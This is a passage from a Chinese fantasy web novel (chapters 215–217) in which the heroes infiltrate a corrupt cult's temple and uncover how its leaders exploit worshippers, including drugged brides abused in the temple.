这时,东方起从门外闪了进来,问道:“好了吗?外面的屏蔽阵法快要失效了,被扣在厉府的少女们也要过来了。”
林倾月的目光了落在老龟身上:“你当真要跟我们一起?不怕死?”
老龟重重点头:“老夫都是死过一次人了,还有什么可怕的?”
林倾月略略思索后,道:“你附身在厉威身上,今晚你就用他的身份,带着我和东方起一起进入归元神殿。”
老龟点点头,魂魄“嗖”得一下钻进了厉威的身体里。
很快,厉威就“死而复生”。
虽然他的外表还是那副胖乎乎的模样,可脸上的神情却变得有几分慈祥。
相由心生,果然不假。
就在这时,门外传来“咚咚咚!”的敲门声。
老龟和东方起、林倾月对了个眼神,而后学着厉威的口气问:“何事?”
“大人,刚才那批少女已经沐浴更衣完毕,请大人过目。”
老龟摆着架子道:“磨磨唧唧的,把本官的兴致都给磨没了!滚下去!”
“是!”
外面的脚步声渐渐远去。
东方起满意地对林倾月道:“老龟演得不错啊,不愧是当过官的人。”
老龟道:“我当官的时候并不是这样。只是记着厉威之前对人下人说话的口气,便试着效仿。”
接下来,几人在屋里商量了一下晚上的行动方案。
到了傍晚,老龟又找了个理由借机将那些被扣押的少女全都放了回去。
至于那批童男童女……未免让人生疑,暂时留在厉府。
而后,老龟又和林倾月、东方起一起在厉府饱餐一顿后,便整理好衣装去了归元神庙。
夜晚降临,天上没有星光,也没有月光,人间一片漆黑。
白天热闹的神殿广场,夜晚空无一人。
雨滴落下,很快就变得稠密起来。大雨洗刷着人间的污秽,却洗不净人心的贪婪。
乞丐想凑到神殿的屋檐下躲躲雨,可巡逻兵的鞭子比神谕还凶,抽得他们仓皇逃离。
神殿多神圣啊,哪容得下这些“卑贱骨头”玷污?
可谁还记得,这些乞丐里,有些曾是捧着整箱金银跪拜供奉的富人?
他们把家底扒光了献上去,却没能等来神明的救赎,倒让自己落进了无尽苦海里。
即便此刻被大雨淋得透湿,瑟缩在泥潭里,可他们望着神殿金瓦的眼神,依然是虔诚到近乎痴傻:
是我罪孽太深,是我不够虔诚,不是神明的错……
主教大人说:
今生遭的罪,皆是前世造的孽;如今苦吃得越多,来世福就越厚。不要贪一时的享乐、更不可贪恋金银俗物。只有了断了世俗的欲望,才能多修福报,获得永世的快乐。
可那些被蒙蔽了双眼的可怜人啊,看不见神殿飞檐的夜明珠亮得刺眼,也看不见奉上祭台上的金银都填了谁的腰包!
什么是神?什么是人?
什么是来世,什么是今生?
谁又能分得清、说得明呢?
不过是有人,用信仰做枷锁,把今生的苦难画成了来世的大饼,哄着可怜的人献出自己的一切。
第215章 初入神殿
厉威是宣教大使,在朝廷和归元教的地位都很高。
当他的轿子停在神庙大门前时,立刻就被神殿侍从迎了进去。
神殿一共有十八层。
第一层殿堂上立着一座高约三层楼的神明雕像。
归元大神的形象是一个头戴金冠,身穿白色长袍,眉目温柔慈祥的男子形象。
和外面的那些雕像不同的是,这里的神像雕刻得更加精美细致。
在烛光的映照下,雕像金光闪闪,浑身华贵。
林倾月一眼就看出,那不是镀的金漆,而是纯金打造!
神像周遭附着强大的浓郁灵气,似邪而非邪,是神又非神。
老龟抬眸端详,可当他目光和神像对上时,只觉一种强大的压迫感忽然笼罩下来。
神像的眼眸分明未动,可有那么一瞬间,老龟却觉得自己已被看穿,心底顿时生出几分恐惧来。
难道这世上真有神明?
“不用怕,那就是一座雕塑而已,只是附上了一些力量加持,干扰人的思绪。你不要去看就好。”
在这种力量的干扰之下,会让进入此地的人感受到神明的庄严和灵力。信的人更加深信不疑。不信的人也会被威慑到,慢慢开始相信。
然而林倾月却清楚地知道,这只是一种障眼法而已,当初在修仙界早就被人用烂了。
林倾月初出茅庐的时候,行侠仗义,也被人雕刻塑像奉上祭坛。
可她的信众很少,最大的原因就是她的神像没有经过力量加持。被人祭祀一段时间后,慢慢抛之脑后。
不像那些伪君子,有那么多手段夺取别凡人的信任。
老龟修为不够强大,所以会受到干扰。
东方起虽然也有些修行,但毕竟修行的时日短,根基不够深。
林倾月怕他受到干扰,正准备叮嘱他两声。
却见他已经在专注地看着神像,没有任何被影响到的感觉,眼神里只流露出几分轻蔑:“虚张声势,也敢自称为神?”
林倾月有些诧异:“那神像上覆盖的力量很强大,你一点都没受影响吗?”
东方起摇头:“似乎对我没什么影响。”
就在这时,有穿着白色神袍的侍从过来道:“厉大使,主教大人有请。”
说话间,又看了眼“厉威”身后的随从。
老龟想把东方起和林倾月也带去上层,问道:“这两位是本官的心腹,可随本官一起面见大主教?”
神侍道:“大主教只说见厉大使,其余人等未经宣召不得进入!”
老龟还想再据理力争,却见林倾月暗暗摇头示意。
于是,老龟道:“你们就在这里等着本官,不许乱跑,以免冒犯神明。”
“是!”林倾月和东方起乖乖地应着。
老龟则顶着厉威的身体,在神殿侍从的引领之下,沿着楼梯一路走到了六层。
第六层,是大主教日常接待下属的地方。
老龟一踏上六层,只感觉到脚下地板的踏感很特殊。
他低头一看,顿时惊讶无比——这一整层的地板,从大殿到走廊,再到连接的各个房间的地上,竟全都是金砖铺路!
金色的地面,泛着刺眼的光,深深地刺痛了老龟的心。
一路走来,鬼方国民生艰难,百姓多是衣不蔽体、食不果腹。
可在这里呢?昂贵的金子,被随意踩踏在脚下。
明明都是一个国度,明明在同一片天空下,神殿和民间割裂的却好像两个全然不同的世界。
而神殿的主教大人,此刻正坐在嵌满了宝石玛瑙的座椅上。就连面前那张金丝楠木的桌案上,都裹着金、镶着珍珠。
几个十五、六岁的美貌少女,穿着轻薄露体的纱裙,围在大主教身边捏腿捶背。
“厉威,这么晚了,你还来求见。所谓何事?”
老龟压下心底的不愤,跪下叩拜行礼:“禀报大主教,下官刚刚得到消息。丰国、齐国接连开始动兵,向我们鬼方国而来。”
“就为这?”华贵高座上的男人不屑地嗤笑。
他不紧不慢的,喝了口美人递来的葡萄酒,道:“中原三大王朝,齐、丰、楚,早晚将是我们的囊中之物。原本我还想缓一缓,再对他们动兵。没想到他们居然先坐不住了。”
厉威又道:“这事是否要早早禀报给圣上?如此也好早做准备?还有征兵之事,是否也要开始筹备起来?我国东部毗邻丰国,边境守军又不多,万一……”
“不必担心。我们有神明庇佑,神兵助阵,百战百胜!就算是中原王朝联合来犯,也不足为惧。”
“至于陛下……”主教不屑地道,“我们尊贵的陛下最近正按照我送他的修炼秘籍,专心修炼,无暇理会政务。就不必事事告知了。”
“厉威,你可还有别的事吗?交给你的差使为何迟迟不办好?”
老龟知道他说的差事是指之前搜罗童男童女的事儿。本来人已经凑齐了,今晚就该送来。
可这所谓的神殿,明显就是个火坑。
当老龟接管了厉威的身体后,自然不会再把那些孩子送去火坑里。
“下官正要将此事向大人禀报。本来已经凑齐了40名童男童女,可就在今天中午,下官发现其中有七八个孩子反复出现高热、畏寒的症状。请了大夫查看,初步怀疑是疟疾。”
“为了神殿的安全,下官只好暂时将那几十名孩童隔离在一处,观察几天之后,若都健康,再送来神殿。”
平民如蝼蚁,死不足惜,更何况是携带了传染性的疾病的呢?
果然,大主教听罢了眉头顿时皱起:“真是晦气。也罢,此事就暂时缓几天。但若真是疟疾,不可心慈手软,该杀就杀。其中厉害,你应该能明白。”
“下官明白!”
大主教的态度,老龟也早已预测到。
“退下吧。”
老龟还想再拖延些时间,大主教已经搂着身边的侍女往后堂而去。
侍从也在催促:“厉大人,请回!”
老龟没办法,只能退下。
回到一楼,就见林倾月和东方起迎上来。
三人对了个眼神,然后一起离开了神殿。
直到回到厉府,屏退了外人,三人才开始说话。
老龟先将今晚和大主教会面的情况,细细地说了一遍。
“我按照你们交代的,说了丰国和齐国可能会对鬼方动兵。可那大主教丝毫不见紧张,说话的口气也是一副胸有成竹的样子。好像他笃定了,就算交战,鬼方国也会必胜。”
“但这些年,鬼方国四处动兵征战,又大肆建造神殿,国库必然空虚。我国百姓生计艰难,经过多年的战争后,男丁凋零。而中原三国,更加富裕,兵马强壮。”
“实在不明白,大主教为什么会对战争有必胜的把握?还有他口里的神兵,又是指什么?”
第216章 成亲的规矩
东方起沉吟道:“从前鬼方国只是一个小国,在接连吞并了八个小国后,才有了现在的规模。想来一定是用了什么非常的手段。比如——邪术!”
他抬眸问林倾月:“据你所知,可有什么术法,能百战百胜?”
“自然有……林倾月心念一动,道,“难道是……傀儡?飞天尸蚕的毒,可以让人变成傀儡,战斗的时候没有痛觉,只一味地厮杀。但这需要大量的饲养。而飞天尸蚕的饲养条件苛刻,很难积攒下大量毒素。”
“当初凌雪公主手里都只有一小瓶毒,由此推断,他们拥有的飞天尸蚕毒应该也不会特别多。至少不足以覆盖战争。”
东方起叹息道:“可惜我们今晚没有找到机会进入神殿更深处,探寻。”
刚才,老龟冒充厉威去见大主教后,东方起和林倾月本想趁机潜入腹地。
可一楼的守卫森严。且神殿的侍卫,都是有些特殊能力的。神殿的周围,还布有各种阵法。一旦动起手来,阵法被触动,势必会打草惊蛇。
保险期间,东方起劝说林倾月:“情况未明,还是暂时按兵不动为好。一旦打草惊蛇,恐怕接下来就被动了。”
林倾月这才没有动手。
老龟道:“你们没有贸然动手是对的。那大主教不出意外的话,至少是有千年修为的妖怪!”
东方起问:“你从什么地方看出来的?”
老龟道:“他隐藏得很好,身上甚至没有妖邪的气息。但是,我发现他身边的那几个侍女神色萎靡、眼神呆滞。若我猜得不错,应该是被采阴补阳了。这种术法,通常是妖会用的。被采补的人短则一两天,长则两三个月,就会慢慢失去生机。”
“哎……”老龟叹了口气,“也是因为这个,我才没敢轻举妄动。”
林倾月道:“这不意外。毕竟能登上大主教的位置,肯定有些本事。你见到那个大主教,他的长相和殿堂内供奉的神像是否一致?”
老龟摇头:“不一样。大主教年纪约四五十岁的样子,但是像那种修习邪术的人,凭借外表也无法看出他真实年龄。而神像,这是一个20岁的年轻男人。五官长相也截然不同。”
林倾月道:“所以,大主教的背后应该另有其人在盗取人民的信仰,自封为神!”
东方起道:“今晚我们算是初步探个底,明日我们再想办法,看看有什么理由能够深入神殿腹地。”
转眼到了第二天。
老龟穿着一身宣教大使的官袍,坐在高台上,监督着底下百姓的朝拜和上供。
而林倾月和东方起看了一阵子,正准备离开。
人群中忽然传来一声喧哗:
“快看,那是背叛神明的人!奸夫淫妇,无媒苟合!”
“神明仁慈,请给叛徒赐下罪罚!”
林倾月循声看去,就像神殿广场外的主街上,走来一对官差押解着两辆囚车。
囚车上关着一男一女,衣衫被扒开,袒胸露乳游街示众。
“那俩人犯了什么大罪,居然受这样的屈辱?”此刻林倾月身上穿着平民的衣衫,带着帷帽,询问旁边的人。
那人道:“你还不知道吧?前几天,这对奸夫淫妇居然偷偷成亲!这当然瞒不过无所不知的天神,天神降下惩罚,扒了他们的衣服,游行示众。”
东方起奇怪地问:“偷偷成亲为何算背叛神明呢?”
那人斜了东方起和林倾月一眼,道:“你们会问出这话,必然是外乡人。在我们骆城,成亲的日子只能选择在每月初一、十五。且成婚当晚,必须要将新娘子送到神殿住一晚上,接受神明的赐福。如此才能夫妻和美,白头偕老。”
“只有接受过神明的赐福,才是被认可的婚姻。否则就是无媒苟合,要扒了衣服游街示众,以儆效尤。”
这一番话,再度颠覆了东方起的认知,他正要说话,被林倾月暗暗拽了一把。
林倾月压低声音叮嘱他:“沉住气,不要把你的情绪展露出来,免得引人注意注。”
她叮嘱后,回头对那人道:“这个规矩很好。三天后,就是本月十五了。那我们应该有眼福,看到一场别开生面的婚礼。”
那人骄傲地挺起头:“能得到神明赐福的新人,自然很好。也就是那两个愚蠢的,居然敢违背神明定下的规则,必将受到严惩。听说,游街结束后,女的会被送去军营为妓女。男的直接沉塘!我和你们说——哎,人呢?”
一个时辰之后,骆城郊外河边。
“扑通!”装着人的麻袋,被丢进了池塘里,溅起巨大的水花。
两名军士站在旁边,眼看着麻袋彻底沉下去之后,才转身离去。
几乎是在他们离去的那一瞬间,那麻袋又突然飘出水面,飞到了旁边的灌木丛里。
“咳咳咳!”在一阵剧烈的咳嗽之后,男人终于缓过劲来。
他抹了把脸上的水,抬头看向面前戴着帷帽的一男一女。
“多谢你们救了。”嘴里在道谢,可男人的脸上却没有太多劫后余生的喜悦,反而哇的一声哭了。
他一边哭一边说:“我娘子,我娘子……呜呜,我对不起她。”
林倾月道:“你娘子被发配边境军营,但若是你快马加鞭,应该还能赶上救她。你想救她吗?”
男人一个劲地点头:“救,我当然要救她!”
东方起拿出一袋子钱丢过去:“这袋钱是给你买马匹的。在此之前,可否告诉我们,为什么你娶妻不按照规矩来?你是不是知道些什么?”
提起这个,男人就无比气愤:“那归元教就是邪魔歪道!本来我们全家,都是归元教忠诚的信徒。为了向神明表达我们的忠诚之心,我父亲每个月赚到的钱财有一半,都要供奉给神殿。可是后来……我发现这一切都是骗局!”
男人叫客安,家中原本还有一个姐姐。
一年前客安姐姐成亲,嫁的是城里富商,原本是天作之合。
而新郎一家,也按照规矩,把婚期定在初一这天。
当晚,在行过拜堂礼之后,新郎一家就将新娘送到了神殿。
第217章 新婚的悲剧
那天,一起进入神殿的新娘有18位。
有侍从出来,赐给了所有新娘每人一瓶圣水。
据说这圣水,能延年益寿、百病全消。很多信徒不惜散尽家产,也要求一瓶圣水。
其他的新娘们收到圣水后,第一时间就喝了下去。
唯有姐姐,只喝了一点,就悄悄地藏了起来。她想省下来,留给生病的母亲。
喝完圣水后,18位新娘一起跪在威严庄重的形象下,虔诚地祈祷。
殿内神像威仪,檀香袅袅,令人昏昏欲睡。
大约睡到后半夜,客安的姐姐突然自己好像被重物压着,有种喘不过来的感觉。
她迷迷糊糊地睁开眼,居然看到一个披头散发的男人,正趴在自己身上行猥琐之事。
她想要推开那男人却浑身无力,抬不起手,也发不出声音来。而眼皮子就好像有千斤重一般,一直往下沉,最后再度不受控制地沉入了梦境里。
第二天早上,18位新娘依次苏醒被家人接走。
客安的姐姐在被接回婆家的时候,始终觉得昨夜的那一幕,有些不对劲。
于是,她仔细地检查自己的身体,就看到大腿和腰上,都有一些青紫的淤痕。
而当天晚上,她和丈夫同房后并没有落红。丈夫因此认为她是不洁的女子,一怒之下将她赶回了娘家。
回到娘家,父亲又嫌她丢人,一顿痛骂。
客安的姐姐便将那一晚在神殿发生的事情如实告知家人。
父亲更加愤怒:“你自己做了龌龊的事,还不知道错,居然胆大妄为的抹黑神殿?昨晚和你一起被送去神殿的一共有18位新娘子。别人怎么都没出问题?你这不守妇德的孽女,我打死你!”
婆家的抛弃、家人的不信任,彻底催垮了这可怜的女子。
当天晚上,她悬梁自尽,从此香消玉殒。
而客安是唯一相信姐姐的人。
他一直厌恶归元教。明明家里一直不富裕,可父亲却要将大部分的收入都奉献出去,害得自己时常挨饿。
姐姐死前说得那些事情,也一直在他脑海里萦绕。
他想要查清楚一切,为姐姐申冤。
可归元教戒备森严,他一个无权无势的草民,连神殿的门都进不去。
而父亲则依然坚信神明是无所不能的,就算姐姐因此丧命,也只是因为她被神明接到身边享福去了。根本不觉得其中存在什么问题。
再后来,父亲给客安说了一门婚事。
客安很喜欢那个女孩,两人间的感情也日益升温,很快就到了谈婚论嫁的地步。
可以一想结婚之后,妻子也有可能遭受姐姐那样的屈辱,便觉得无法接受。
他把心里的顾虑告诉未婚妻,对方沉吟道:“其实我也觉得神殿不对劲。我姐姐婚前和姐夫感情特别好,可婚后姐夫对她越来越冷淡,姐姐总偷偷掉眼泪。后来她才说,姐夫怀疑她婚前失贞,所以才这样对她。可我姐姐从没做过出格的事,我一直想不通。现在听你这么说,才恍然大悟。我姐姐肯定和你姐姐遭遇了一样的事!”
然而,在当下这个国度,质疑神明就是一种犯罪的行为。他们甚至都没有办法说服自己的家人相信。
最后,两人决定悄悄结婚。哪怕无媒成婚,也比进入神殿遭受侮辱的强。
可他们的事情,还是就被发现了。
讽刺的是,举报者竟然是女孩的父母。
在这些狂热信徒的心里,神明无所不知。女儿既已违反神明定下的规则,还想隐瞒,必会给全家招来灾祸。
所以,为了全家人的平安,也为了帮女儿和女婿洗清罪孽,他们宁可让两人游街示众,也不肯出手遮掩。
“可惜我太无能了,两年前我救不了自己的姐姐,甚至没有办法帮她查清冤情。如今,也没能力救自己和妻子。我实在想不通,这一切究竟是怎么回事?为什么没有人站出来揭露?”
“因为即便揭露,也没人会相信。就像你的家人,不信你和你姐姐的话一样。”
林倾月说这话的时候,忍不住想起自己当年,居然也愚蠢到在那些疯狂的信徒面前,揭露神明的伪装。最后却反而遭受到了莫大的屈辱。根本没人相信。
这就是那些伪神的厉害之处。他们编造出一个又一个离奇的故事,不断地给人洗脑。最终让人变得疯魔。
若世间大半是疯子,那么少数清醒者的言论反倒会被视作疯癫胡话。
该问的话都问清楚了,在客安离开之前,林倾月叮嘱道:“记得,出了城门之后一路东,应该很快就能追上你的妻子。押解她的人只有两人,你熬到晚上将人迷晕了,再把你妻子救出来。如此,可以避免正面冲突。”
客安在再三谢过之后,拿着钱走了。
走了不多久,他又忽然回头:“恩人,可否告知姓名?若是我和妻子能渡过这道难关,将来为您刻长生牌,日夜供奉,保佑您一辈子福寿双全。”
林倾月淡淡地道:“不必了,我不信神,也不愿意当神。”
供上神龛如何,刻了长生牌又如何?她倾月仙君造福也好,杀戮也罢,从不在乎旁人如何去看。
林倾月对东方起道:“三天后就是本月十五,应该会有不少新人在这一天成亲。这是一个不错的机会。到时,我可以假扮新娘混入其中。看看夜里出来的到底是神是鬼!”
东方起道:“行。安全起见,我和你一道混进去。”
林倾月嫌弃地望着他:“你忘了刚才客安说的情况吗?当晚,进入神殿的只能是新娘子。其他人一律不能入内。”
东方起却不忍心让林倾月独自冒险,更何况又是这种诡异的情况。
“我再想想办法,肯定能悄无声息地混进去。”
三天之后,到了十五这一日,城里到处都能看到成亲的队伍,吹吹打打,好生热闹。